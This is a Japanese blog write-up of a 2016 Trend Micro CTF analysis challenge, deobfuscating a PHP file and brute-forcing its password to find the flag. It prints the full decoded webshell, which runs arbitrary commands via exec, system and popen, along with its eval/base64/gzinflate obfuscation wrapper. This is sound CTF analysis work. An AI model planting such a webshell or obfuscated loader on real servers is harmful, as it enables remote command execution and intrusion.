LoginSignup
1
0

More than 5 years have passed since last update.

Trend Micro CTF 2016 Online Qualifier: defensive 100 問題 の write-up

Last updated at Posted at 2016-08-01

今回のTrend Micro CTF 2016のオンライン予選はあんまりガッツリは参加できなかったけれど、他のチームメイトが解けていなかった問題を一問だけは解くことができた。

解けたのは Analysis - defensive の 100点問題で、以下この問題を解いた過程について簡単にメモしておく。

Analysis - defensive の 100点問題

<?php
$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7"; 
$func="cr"."eat"."e_fun"."cti"."on";$decodeme=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$decodeme("7f1n〜(中略)〜vUP6/");?>
}

という感じのdecodeme_decodeme.phpというファイルが与えられている。 ファイル名からすると、これを何とか復号化すれば良いらしい。

PHPは知らないけれど、どうもドットが文字列連結っぽいので、ちょっと整形すると以下のようになる。

<?php
$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7"; 
$func="create_function";
$decodeme=$func('$x','eval("?>".gzinflate(base64_decode($x)));');
$decodeme("7f1n〜(中略)〜vUP6/");
?>
}

"create_function"という文字列をそのまま関数として適用できるとか、さすがPHPだな。

base64 と deflate の復号

で、「7f1n〜(中略)〜vUP6/」の部分を復号してみようと、とりあえずファイル(base64.txt)に保存して以下のようにしてみても、「Codec.Compression.Zlib: compressed data stream format error (incorrect header check)」というエラーが出てしまった。GZipの方でも同じ結果になる。 Rubyのzlibを使っても同じ。

import qualified Data.ByteString.Lazy.Char8 as BL
import qualified Data.ByteString.Base64.Lazy as Base64
import Data.Char
import qualified Codec.Compression.Zlib as Zlib
-- import qualified Codec.Compression.GZip as GZip

main = do
  s <- BL.readFile "base64.txt"
  case Base64.decode (BL.filter (not . isSpace) s) of
    Left err -> error err
    Right s2 -> do
      BL.writeFile "encoded.dat" s2
      let s3 = Zlib.decompress s2
      BL.writeFile "decoded.dat" s3

調べてみると、PHPのgzdeflate/gzinflateは、ヘッダを付けないらしい。 で、どうしたものかと思ったのだけれど、たまたま手元の環境にPHPが入っているようだったので、適当にぐぐった結果に基づいて、以下のようにして実行した。 (なお、後で調べたところ、Haskellのzlibパッケージでも、Codec.Compression.Zlib.Rawモジュールを使えば良かったようだ)

<?php
$x="7f1n〜(中略)〜UP6/";
echo gzinflate(base64_decode($x));
?>

こうして得られた結果は以下のようなPHPプログラムとなっていた。

<?php
// reference: https://github.com/b374k/b374k/blob/master/LICENSE.md
function chk_password(){
    if(!isset($GLOBALS['key'])){ die(); }
    if(trim($GLOBALS['key'])==''){ die(); }
    $glob = $GLOBALS['key'];

    $post = '';
    $cook = '';
    if (isset($_POST['key'])) { $post = $_POST['key']; }
    if (isset($_COOKIE['key'])) { $cook = $_COOKIE['key']; }
    if ($cook==$glob) { return; }

    if($post != ''){
        $key = sha1(md5($post));
        if($key==$glob){
            setcookie("key", $key, time()+36000, "/");
            $qstr = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
            header("Location: ".htmlspecialchars($_SERVER["REQUEST_URI"].$qstr, 2 | 1));
            $cook = $_COOKIE['key'];
        }
    }

    $output = "
    <html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><meta http-equiv='Content-Language' content='en-us'>
    <title>decodeme</title>
    <style type='text/css'>
    <!--
    body{ background-color:darkred; color:white; }
    hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
    -->
    </style>
    </head>
    <body>
    <br><br>
    <form method='post'>
    <center>
    <input type='password' id='key' name='key'>
    <p>enter ****</p>
    </center>
    </form>
    </body></html>";

    echo $output;
    die();

}
chk_password();
?>

<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="Content-Language" content="en-us">
<title>decodeme</title>
<style type="text/css">
<!--
body{ background-color:darkred; color:white; }
hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
-->
</style>
</head>

<?php
$GLOBALS['images']['version']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['top']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['contact']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['author']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['license']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['support']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['lock']= "iVBO〜(中略)〜gg==";

?>

<body>
<img src="data:image/png;base64,<?php echo $GLOBALS['images']['top']; ?>" alt="top" />
<p>7h15 15 51mpl3 w3b5h3ll. 1npu7 y0ur cmd h3r3.</p>
<hr>

<?php
function myshellexec($cmd)
{ 
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
  elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  elseif (($result = `$cmd`) !== false) {}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}

function _3x3c_637v3r510n($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "getversion"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['version']; ?>" alt="figure" />
    <br>
    <?php
    $result = "TMCTF webshell v1.0 beta betta";
    }  
 }
 return $result;
}

function _3x3c_wh04u7h0r($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "whoauthor"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['author']; ?>" alt="figure" />
    <br>
    <?php
    $result = "web shell cooker";
    }  
 }
 return $result;
}

function _3x3c_buyl1c3n53($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "buylicense"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['license']; ?>" alt="figure" />
    <br>
    <?php
    $result = "paid $100000000000000000000000000 :-)";
    }  
 }
 return $result;
}

function _3x3c_5h0wl0ck($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showlock"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['lock']; ?>" alt="figure" />
    <br>
    <?php
    $result = "show lock";
    }  
 }
 return $result;
}


function _3x3c_5h0w5upp0r7($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showsupport"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['support']; ?>" alt="figure" />
    <br>
    <?php
    $result = "call +99-99999-9999-999-99-99-9-99-9-999--99-99--9-9";
    }  
 }
 return $result;
}

function _3x3c_5h0wc0n74c7($cmd){
 $result = "";
 if (!empty($cmd))
 {
    if ($cmd == "showcontact"){
    ?>
    <img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['contact']; ?>" alt="figure" />
    <br>
    <?php
    $result = "contact xxxxxxxxxyyyyyyyyzzzzzzz@trendmicro";
    }  
 }
 return $result;
}

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        echo myshellexec($cmd);
        echo _3x3c_637v3r510n($cmd);
        echo _3x3c_wh04u7h0r($cmd);
        echo _3x3c_buyl1c3n53($cmd);
        echo _3x3c_5h0wl0ck($cmd);
        echo _3x3c_5h0w5upp0r7($cmd);
        echo _3x3c_5h0wc0n74c7($cmd);
        echo "</pre>";
}
?>
</body>
</html>

keyパラメータをmd5とsha1の二段階でハッシュした結果を $GLOBALS['key']の値 "6c7f4d49729e58d7a458999b570e0151bc034ca7" と比較して認証している。

内容はウェブシェルっぽいけれども、各コマンドの実行結果や、コードを一通り読んでも、フラグっぽいものは見つからず、だいぶ悩んでしまった。

パスワードの探索

ふと、ひょっとして、このウェブシェルのパスワードがフラグなのではと思いついた。 しかも「enter ****」とあるので、もし4桁なら探せそうと考え、以下のように試したら、「h4ck」が求まった。 ただ、「TMCTF{h4ck}」をサブミットしても不正解。

require 'digest/md5'
require 'digest/sha1'

cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split(//)

cs.each{|c1|
  cs.each{|c2|
    cs.each{|c3|
      cs.each{|c4|
        s = c1 + c2 + c3 + c4
        s2 = Digest::SHA1.hexdigest(Digest::MD5.hexdigest(s))
        if s2 == "6c7f4d49729e58d7a458999b570e0151bc034ca7"
          puts s #=> h4ck
          puts s2
        end
      }
    }
  }
}

画像に埋め込まれたヒント

ひょっとしてソースコードでなければ画像に何か埋め込まれているのではと思って、$GLOBALS['images'] 以下の画像データを復号してファイルに保存してstringsで見てみると、lockの画像にだけ、「zTXt」や「Raw profile type exif」という文字列が含まれているのを発見。

PNGのチャンク構造を一瞬調べかけたけど、「exif」とあるし、「もしexiftoolで表示できるなら、それが早いか」と思って試してみたら、表示できた。

$ exiftool lock.png 
exiftool lock.png 
ExifTool Version Number         : 10.15
File Name                       : lock.png
Directory                       : .
File Size                       : 2.3 kB
File Modification Date/Time     : 2016:07:30 22:38:39+09:00
File Access Date/Time           : 2016:07:31 12:37:45+09:00
File Inode Change Date/Time     : 2016:07:30 22:45:15+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 71
Image Height                    : 114
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Adam7 Interlace
Exif Byte Order                 : Little-endian (Intel, II)
Make                            : /.*/e
Camera Model Name               : eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Palette                         : (Binary data 585 bytes, use -b option to extract)
Transparency                    : (Binary data 195 bytes, use -b option to extract)
Pixels Per Unit X               : 5905
Pixels Per Unit Y               : 5905
Pixel Units                     : meters
Image Size                      : 71x114
Megapixels                      : 0.008

Camera Model Name に怪しい文字列「eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));」が。ということで復号してみると、以下のようにヒントが得られる。

irb(main):002:0> Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")
Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")
=> "echo 'flag is sha1(password)';"

というわけで、先ほどのパスワードのハッシュ値を計算してみると以下のようになり、「TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}」をサブミットしたら正解になった。

irb(main):005:0> Digest::SHA1.hexdigest("h4ck")
Digest::SHA1.hexdigest("h4ck")
=> "e17e98788d6b4ac922b2df100ef9398ae0f229ad"
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0